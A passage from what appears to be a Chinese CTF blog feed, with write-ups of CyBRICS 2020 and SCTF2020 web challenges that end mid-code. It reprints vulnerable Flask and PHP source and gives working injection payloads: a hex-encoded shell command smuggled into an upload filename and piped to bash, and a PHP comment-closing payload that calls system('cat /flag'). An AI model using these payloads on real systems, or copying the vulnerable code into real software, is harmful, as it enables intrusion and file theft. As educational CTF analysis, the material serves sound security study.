class="string">'Mime type is not "image/gif"'</span>, <span class="string">'danger'</span>)</span><br><span class="line"> <span class="keyword">return</span> redirect(request.url)</span><br><span class="line"></span><br><span class="line"> uid = str(uuid.uuid4())</span><br><span class="line"> os.mkdir(<span class="string">f"uploads/<span class="subst">{uid}</span>"</span>)</span><br><span class="line"></span><br><span class="line"> logging.debug(<span class="string">f"Created: <span class="subst">{uid}</span>. Command: ffmpeg -i 'uploads/<span class="subst">{file.filename}</span>' \"uploads/<span class="subst">{uid}</span>/%03d.png\""</span>)</span><br><span class="line"></span><br><span class="line"> command = subprocess.Popen(<span class="string">f"ffmpeg -i 'uploads/<span class="subst">{file.filename}</span>' \"uploads/<span class="subst">{uid}</span>/%03d.png\""</span>, shell=<span class="literal">True</span>)</span><br><span class="line"> command.wait(timeout=<span class="number">15</span>)</span><br><span class="line"> logging.debug(command.stdout)</span><br><span class="line"></span><br><span class="line"> flash(<span class="string">'Successfully saved'</span>, <span class="string">'success'</span>)</span><br><span class="line"> <span class="keyword">return</span> redirect(url_for(<span class="string">'result'</span>, uid=uid))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> render_template(<span class="string">"form.html"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route('/result/<uid>/')</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">result</span><span class="params">(uid)</span>:</span></span><br><span class="line"> images = []</span><br><span class="line"> <span class="keyword">for</span> image <span class="keyword">in</span> os.listdir(<span class="string">f"uploads/<span class="subst">{uid}</span>"</span>):</span><br><span class="line"> mime_type = filetype.guess(str(Path(<span class="string">"uploads"</span>) / uid / image))</span><br><span class="line"> <span class="keyword">if</span> image.endswith(<span class="string">".png"</span>) <span class="keyword">and</span> mime_type <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span> <span class="keyword">and</span> mime_type.EXTENSION == <span class="string">"png"</span>:</span><br><span class="line"> images.append(image)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> render_template(<span class="string">"result.html"</span>, uid=uid, images=images)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route('/uploads/<uid>/<image>')</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">image</span><span class="params">(uid, image)</span>:</span></span><br><span class="line"> logging.debug(request.headers)</span><br><span class="line"> dir = str(Path(app.config[<span class="string">'UPLOAD_FOLDER'</span>]) / uid)</span><br><span class="line"> <span class="keyword">return</span> send_from_directory(dir, image)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.errorhandler(413)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">request_entity_too_large</span><span class="params">(error)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> <span class="string">"File is too large"</span>, <span class="number">413</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> app.run(host=<span class="string">'localhost'</span>, port=<span class="number">5000</span>, debug=<span class="literal">False</span>, threaded=<span class="literal">True</span>)</span><br></pre></td></tr></table></figure><ul><li>调用ffmpeg时存在命令的拼接</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">command = subprocess.Popen(<span class="string">f"ffmpeg -i 'uploads/<span class="subst">{file.filename}</span>' \"uploads/<span class="subst">{uid}</span>/%03d.png\""</span>, shell=<span class="literal">True</span>)</span><br></pre></td></tr></table></figure><ul><li>并且上面正则的限制允许出现<code>|</code>,可以执行其他命令</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> bool(re.match(<span class="string">"^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$"</span>, file.filename)) <span class="keyword">or</span> <span class="string">".."</span> <span class="keyword">in</span> file.filename:</span><br><span class="line"> logging.debug(<span class="string">f'Invalid symbols in filename: <span class="subst">{file.content_type}</span>'</span>)</span><br><span class="line"> flash(<span class="string">'Invalid filename'</span>, <span class="string">'danger'</span>)</span><br><span class="line"> <span class="keyword">return</span> redirect(request.url)</span><br></pre></td></tr></table></figure><ul><li>不能出现<code>/</code>且不能出网,使用xxd 16进制绕过并把读到的文件写到uploads目录下读回来即可</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">port.txt<span class="string">' 1.jpg| echo "636174206d61696e2e7079203e2075706c6f6164732f313233342f4c696f6e547265652e747874" | xxd -r -p|bash || echo '</span>1</span><br></pre></td></tr></table></figure><p>拼接后变为</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ffmpeg -i <span class="string">'port.txt'</span> 1.jpg| <span class="built_in">echo</span> <span class="string">"636174206d61696e2e7079203e2075706c6f6164732f313233342f4c696f6e547265652e747874"</span> | xxd -r -p|bash || <span class="built_in">echo</span> <span class="string">'1'</span> <span class="string">"uploads/aa/%03d.png"</span></span><br></pre></td></tr></table></figure><p>另外看了一些大师傅的博客,发现一些其他的解法:</p><ul><li><a href="https://bycsec.top/2020/07/26/CyBRICS-CTF-2020/" target="_blank" rel="noopener">利用ffmpeg的参数</a></li><li><a href="http://49.232.128.44/index.php/archives/56/#menu_index_1" target="_blank" rel="noopener">使用dnslog外带</a></li></ul><h1 id="WoC"><a href="#WoC" class="headerlink" title="WoC"></a>WoC</h1><p>这题出的很赞,考的点虽然不难但很有真实代码审计的感觉</p><p>一个计算器的功能,有好几个模板可以选择</p><p><img src="/images/WoC.JPG" alt=""></p><p>除此之外还可以分享计算器的结果,输入html创建自己的模板</p><p>贴一下重要的两段代码:</p><ul><li>newtemplate.php:创建新的模板</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">if</span> (!@$_SESSION[<span class="string">'userid'</span>]) {</span><br><span class="line"> redir(<span class="string">"."</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$userid = $_SESSION[<span class="string">'userid'</span>];</span><br><span class="line"></span><br><span class="line">$error = <span class="keyword">false</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (trim(@$_POST[<span class="string">'html'</span>])) {</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> $html = trim($_POST[<span class="string">'html'</span>]);</span><br><span class="line"> <span class="keyword">if</span> (strpos($html, <span class="string">'<?'</span>) !== <span class="keyword">false</span>) {</span><br><span class="line"> $error = <span class="string">"Bad chars"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> $requiredBlocks = [</span><br><span class="line"> <span class="string">'id="back"'</span>,</span><br><span class="line"> <span class="string">'id="field" name="field"'</span>,</span><br><span class="line"> <span class="string">'id="digit0"'</span>,</span><br><span class="line"> <span class="string">'id="digit1"'</span>,</span><br><span class="line"> <span class="string">'id="digit2"'</span>,</span><br><span class="line"> <span class="string">'id="digit3"'</span>,</span><br><span class="line"> <span class="string">'id="digit4"'</span>,</span><br><span class="line"> <span class="string">'id="digit5"'</span>,</span><br><span class="line"> <span class="string">'id="digit6"'</span>,</span><br><span class="line"> <span class="string">'id="digit7"'</span>,</span><br><span class="line"> <span class="string">'id="digit8"'</span>,</span><br><span class="line"> <span class="string">'id="digit9"'</span>,</span><br><span class="line"> <span class="string">'id="plus"'</span>,</span><br><span class="line"> <span class="string">'id="equals"'</span>,</span><br><span class="line"> ];</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">foreach</span> ($requiredBlocks <span class="keyword">as</span> $block) {</span><br><span class="line"> <span class="keyword">if</span> (strpos($html, $block) === <span class="keyword">false</span>) {</span><br><span class="line"> $error = <span class="string">"Missing required block: '$block'"</span>;</span><br><span class="line"> <span class="keyword">break</span>(<span class="number">2</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> $uuid = uuid();</span><br><span class="line"> <span class="keyword">if</span> (!file_put_contents(<span class="string">"calcs/$userid/templates/$uuid.html"</span>, $html)) {</span><br><span class="line"> $error = <span class="string">"Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> redir(<span class="string">"."</span>);</span><br><span class="line"> } <span class="keyword">while</span> (<span class="keyword">false</span>);</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"> <div class="row"></span><br><span class="line"> <div class="p-5 mx-auto col-10 col-md-10 bg-info"></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">if</span> ($error) {</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"> <div class="alert alert-danger" role="alert"></span><br><span class="line"> <button type="button" class="close" data-dismiss="alert">×</button></span><br><span class="line"> <h4 class="alert-heading">Error</h4></span><br><span class="line"> <p class="mb-0"><?=htmlspecialchars($error)?></p></span><br><span class="line"> </div></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"> <h3 class="display-3">New template</h3></span><br><span class="line"> <div class="px-4 order-1 order-md-2 col-lg-12"></span><br><span class="line"> <h2 class="mb-4">Insert code</h2></span><br><span class="line"> <form method=<span class="string">"POST"</span>></span><br><span class="line"> <div class="form-group"> <textarea style="min-height: 100px; font-family: 'Fira Code', Consolas, monospace;" placeholder="HTML" class="form-control form-control-sm" name="html" oninput="this.style.height = ''; this.style.height = (this.scrollHeight + 10) +'px'"><?=htmlspecialchars(@$_POST['html'])?></textarea> </div> <button type="submit" class="btn btn-lg btn-outline-secondary mx-3 px-3"><i class="fa fa-plus-square fa-fw fa-1x py-1"></i> Create Template</button></span><br><span class="line"> </form></span><br><span class="line"> </div></span><br><span class="line"> </div></span><br><span class="line"> </div></span><br></pre></td></tr></table></figure><ul><li>calc.php:计算结果和生成分享的php文件</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">if</span> (!@$_SESSION[<span class="string">'userid'</span>] || !@$_GET[<span class="string">'template'</span>]) {</span><br><span class="line"> redir(<span class="string">"."</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$userid = $_SESSION[<span class="string">'userid'</span>];</span><br><span class="line">$template = $_GET[<span class="string">'template'</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!preg_match(<span class="string">'#^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$#s'</span>, $template)) {</span><br><span class="line"> redir(<span class="string">"."</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> (!is_file(<span class="string">"calcs/$userid/templates/$template.html"</span>)) {</span><br><span class="line"> redir(<span class="string">"."</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (trim(@$_POST[<span class="string">'field'</span>])) {</span><br><span class="line"> $field = trim($_POST[<span class="string">'field'</span>]);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (!preg_match(<span class="string">'#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s'</span>, $field)) {</span><br><span class="line"> $value = <span class="string">"BAD"</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (@$_POST[<span class="string">'share'</span>]) {</span><br><span class="line"> $calc = uuid();</span><br><span class="line"> file_put_contents(<span class="string">"calcs/$userid/$calc.php"</span>, <span class="string">"<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n"</span> . file_get_contents(<span class="string">"inc/calclib.html"</span>) . file_get_contents(<span class="string">"calcs/$userid/templates/$template.html"</span>));</span><br><span class="line"> redir(<span class="string">"?p=sharelink&calc=$calc"</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> $value = <span class="keyword">eval</span>(<span class="string">"return $field;"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (Throwable $e) {</span><br><span class="line"> $value = <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (!is_numeric($value) && !is_string($value)) {</span><br><span class="line"> $value = <span class="string">"ERROR"</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $value = (string)$value;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<script>var preloadValue = "</span> . json_encode($value) . <span class="string">";</script>"</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">require</span> <span class="string">"inc/calclib.html"</span>;</span><br><span class="line"><span class="keyword">require</span> <span class="string">"calcs/$userid/templates/$template.html"</span>;</span><br></pre></td></tr></table></figure><p>其中calc.php中生成分享的php文件的代码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (@$_POST[<span class="string">'share'</span>]) {</span><br><span class="line"> $calc = uuid();</span><br><span class="line"> file_put_contents(<span class="string">"calcs/$userid/$calc.php"</span>, <span class="string">"<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n"</span> . file_get_contents(<span class="string">"inc/calclib.html"</span>) . file_get_contents(<span class="string">"calcs/$userid/templates/$template.html"</span>));</span><br><span class="line"> redir(<span class="string">"?p=sharelink&calc=$calc"</span>);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>可以看到这里会将<code><script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n</code>,inc/calclib.html和模板文件拼在一起生成一个新的php文件</p><p>但是创建模板和计算结果时都不允许出现<code><?php</code>和<code><?=</code>(<code><?</code>直接在配置文件里禁用了)</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (strpos($html, <span class="string">'<?'</span>) !== <span class="keyword">false</span>) {</span><br><span class="line"> $error = <span class="string">"Bad chars"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (!preg_match(<span class="string">'#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s'</span>, $field)) {</span><br><span class="line"> $value = <span class="string">"BAD"</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>既然无法引入php标签,那么就直接利用<code><script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n</code>中的<code><?=</code></p><p>测试下可以发现上面的正则允许出现<code>/*</code>,这样就可以让<code>$filed</code>为<code>/*</code>,将<code>))?>;</script>\n</code>以及inc/calclib.html的内容全部注释掉。</p><p>在自建模板的开头则加上<code>*/));system('cat /flag');?></code>闭合注释,执行任意php代码</p>]]></content>
<summary type="html">
<p>队友都去考研/实习/摸鱼了,只剩两个web狗爆肝全场…</p>
<h1 id="Hunt"><a href="#Hunt" class="headerlink" title="Hunt"></a>Hunt</h1><p>签到题</p>
<p>五个recaptcha满天飞,随
</summary>
<category term="CTF" scheme="https://liotree.github.io/categories/CTF/"/>
<category term="writeup" scheme="https://liotree.github.io/tags/writeup/"/>
</entry>
<entry>
<title>SCTF2020复现记录</title>
<link href="https://liotree.github.io/2020/07/17/SCTF2020%E5%A4%8D%E7%8E%B0%E8%AE%B0%E5%BD%95/"/>
<id>https://liotree.github.io/2020/07/17/SCTF2020%E5%A4%8D%E7%8E%B0%E8%AE%B0%E5%BD%95/</id>
<published>2020-07-17T07:33:41.000Z</published>
<updated>2020-08-11T10:44:33.000Z</updated>
<content type="html"><![CDATA[<p>比赛的时候忙着最优化,做了个CloudDisk就溜了,不过打了也是丢人…</p><h1 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h1><h2 id="BestLanguage"><a href="#BestLanguage" class="headerlink" title="BestLanguage"></a>BestLanguage</h2><p>给了一个laravel,版本为5.5.39</p><ul><li>web.php中的路由</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Route::get(<span class="string">'/'</span>,<span class="string">"IndexController@init"</span>);</span><br><span class="line">Route::post(<span class="string">'/rm'</span>,<span class="string">"IndexController@rm"</span>);</span><br><span class="line">Route::get(<span class="string">'/tmp/{filename}'</span>, <span class="function"><span class="keyword">function</span> <span class="params">($filename)</span> </span>{</span><br><span class="line"> readfile(<span class="string">"/var/tmp/"</span>.$filename);</span><br><span class="line">})->where(<span class="string">'filename'</span>, <span class="string">'(.*)'</span>);</span><br><span class="line">Route::post(<span class="string">'/upload'</span>,<span class="string">"IndexController@upload"</span>);</span><br><span class="line">Route::get(<span class="string">'/move/log/{filename}'</span>, <span class="string">'IndexController@moveLog'</span>)->where(<span class="string">'filename'</span>, <span class="string">'(.*)'</span>);</span><br></pre></td></tr></table></figure><ul><li>IndexController.php</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">App</span>\<span class="title">Http</span>\<span class="title">Controllers</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">IndexController</span> <span class="keyword">extends</span> <span class="title">Controller</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">init</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">if</span>($_SERVER[<span class="string">"REMOTE_ADDR"</span>] !== <span class="string">"127.0.0.1"</span> && strpos($_SERVER[<span class="string">"REMOTE_ADDR"</span>],<span class="string">"192.168."</span>) !== <span class="number">0</span> && strpos($_SERVER[<span class="string">"REMOTE_ADDR"</span>],<span class="string">"10."</span>) !== <span class="number">0</span> ) {</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"admin only"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>(!file_exists(<span class="string">"/var/tmp/"</span>.md5($_SERVER[<span class="string">"REMOTE_ADDR"</span>]))){</span><br><span class="line"> mkdir(<span class="string">"/var/tmp/"</span>.md5($_SERVER[<span class="string">"REMOTE_ADDR"</span>]));</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">rm</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">if</span>(strpos($_POST[<span class="string">"filename"</span>], <span class="string">'../'</span>) !== <span class="keyword">false</span>) <span class="keyword">die</span>(<span class="string">"???"</span>);</span><br><span class="line"> <span class="keyword">if</span>(file_exists(<span class="string">"/var/"</span>.$_POST[<span class="string">"filename"</span>])){</span><br><span class="line"> <span class="keyword">if</span>(is_dir(<span class="string">"/var/"</span>.$_POST[<span class="string">"filename"</span>])){</span><br><span class="line"> rmdir(<span class="string">"/var/"</span>.$_POST[<span class="string">"filename"</span>]);</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"rmdir"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span>{</span><br><span class="line"> unlink(<span class="string">"/var/"</span>.$_POST[<span class="string">"filename"</span>]);</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"unlink"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">upload</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(strpos($_POST[<span class="string">"filename"</span>], <span class="string">'../'</span>) !== <span class="keyword">false</span>) <span class="keyword">die</span>(<span class="string">"???"</span>);</span><br><span class="line"> file_put_contents(<span class="string">"/var/tmp/"</span>.md5($_SERVER[<span class="string">"REMOTE_ADDR"</span>]).<span class="string">"/"</span>.$_POST[<span class="string">"filename"</span>],base64_decode($_POST[<span class="string">"content"</span>]));</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"/var/tmp/"</span>.md5($_SERVER[<span class="string">"REMOTE_ADDR"</span>]).<span class="string">"/"</span>.$_POST[<span class="string">"filename"</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">moveLog</span><span class="params">($filename)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"></span><br><span class="line"> $data =date(<span class="string">"Y-m-d"</span>);</span><br><span class="line"> <span class="keyword">if</span>(!file_exists(storage_path(<span class="string">"logs"</span>).<span class="string">"/"</span>.$data)){</span><br><span class="line"> mkdir(storage_path(<span class="string">"logs"</span>).<span class="string">"/"</span>.$data);</span><br><span class="line"> }</span><br><span class="line"> $opts = <span class="keyword">array</span>(</span><br><span class="line"> <span class="string">'http'</span>=><span class="keyword">array</span>(</span><br><span class="line"> <span class="string">'method'</span>=><span class="string">"GET"</span>,</span><br><span class="line"> <span class="string">'timeout'</span>=><span class="number">1</span>,<span class="comment">//单位秒</span></span><br><span class="line"> )</span><br><span class="line"> );</span><br><span class="line"></span><br><span class="line"> $content = file_get_contents(<span class="string">"http://127.0.0.1/tmp/"</span>.md5(<span class="string">'127.0.0.1'</span>).<span class="string">"/"</span>.$filename,<span class="keyword">false</span>,stream_context_create($opts));</span><br><span class="line"> file_put_contents(storage_path(<span class="string">"logs"</span>).<span class="string">"/"</span>.$data.<span class="string">"/"</span>.$filename,$content);</span><br><span class="line"> <span class="keyword">echo</span> storage_path(<span class="string">"logs"</span>).<span class="string">"/"</span>.$data.<span class="string">"/"</span>.$filename;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="预期"><a href="#预期" class="headerlink" title="预期"></a>预期</h3><h4 id="nginx特性"><a href="#nginx特性" class="headerlink" title="nginx特性"></a>nginx特性</h4><p><code>/tmp/{filename}</code>路由看起来可以直接读文件,<code>/tmp/../../flag</code>试试</p><p><img src="/images/nginx_400.JPG" alt=""></p><p>这实际上是nginx的一个特性,nginx会将url中的<code>../</code>转化为绝对路径,并判断其是否超过了url中的根目录,超过了则返回http 400</p><p>借用下官方writeup的图</p><p><img src="/images/nginx_path.JPG" alt=""></p><h4 id="trick1-写文件"><a href="#trick1-写文件" class="headerlink" title="trick1 写文件"></a>trick1 写文件</h4><p>继续看其他路由,可以发现:</p><ul><li><code>upload()</code>会将文件写到<code>"/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/"</code>下,但<code>md5($_SERVER["REMOTE_ADDR"])</code>需要在<code>init()</code>中创建</li><li>然而<code>init()</code>中会验证ip是否为内网ip…看起来需要一个ssrf?</li><li>唯一跟ssrf沾点边的就是<code>moveLog()</code>中的</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$content = file_get_contents(<span class="string">"http://127.0.0.1/tmp/"</span>.md5(<span class="string">'127.0.0.1'</span>).<span class="string">"/"</span>.$filename,<span class="keyword">false</span>,stream_context_create($opts));</span><br></pre></td></tr></table></figure><p>可这真的能够访问到<code>/</code>吗…</p><ul><li>如果不用<code>upload()</code>去写文件的话,那<code>moveLog()</code>也就无法使用了</li></ul><p>实际上这里需要用一个php文件操作的trick,文件名<code>xxx/.</code>时会认为是<code>xxx</code></p><p>因此访问<code>filename=.</code>即可在<code>/var/tmp/</code>下写文件,文件名为<code>md5($_SERVER["REMOTE_ADDR"])</code></p><p>这个trick的原理和<code>xxx/../</code>是一样的:</p><ul><li>php读取、写入文件,都会调用<code>php_stream_open_wrapper_ex</code>来打开流<ul><li><code>php_stream_open_wrapper_ex</code>最后会使用<code>tsrm_realpath</code>函数来将filename给标准化成一个绝对路径。</li></ul></li><li>而判断文件存在、重命名、删除文件等操作则无需打开文件流,无法使用这个trick</li></ul><h4 id="trick2-移动文件"><a href="#trick2-移动文件" class="headerlink" title="trick2 移动文件"></a>trick2 移动文件</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$content = file_get_contents(<span class="string">"http://127.0.0.1/tmp/"</span>.md5(<span class="string">'127.0.0.1'</span>).<span class="string">"/"</span>.$filename,<span class="keyword">false</span>,stream_context_create($opts));</span><br><span class="line">file_put_contents(storage_path(<span class="string">"logs"</span>).<span class="string">"/"</span>.$data.<span class="string">"/"</span>.$filename,$content);</span><br></pre></td></tr></table></figure><p>写入文件后自然会想到用<code>moveLog()</code>移动文件,但此时文件名是<code>md5($_SERVER["REMOTE_ADDR"])</code>,可以利用url和路径的差异,使用<code>?</code>或<code>#</code>截断url,比如</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span 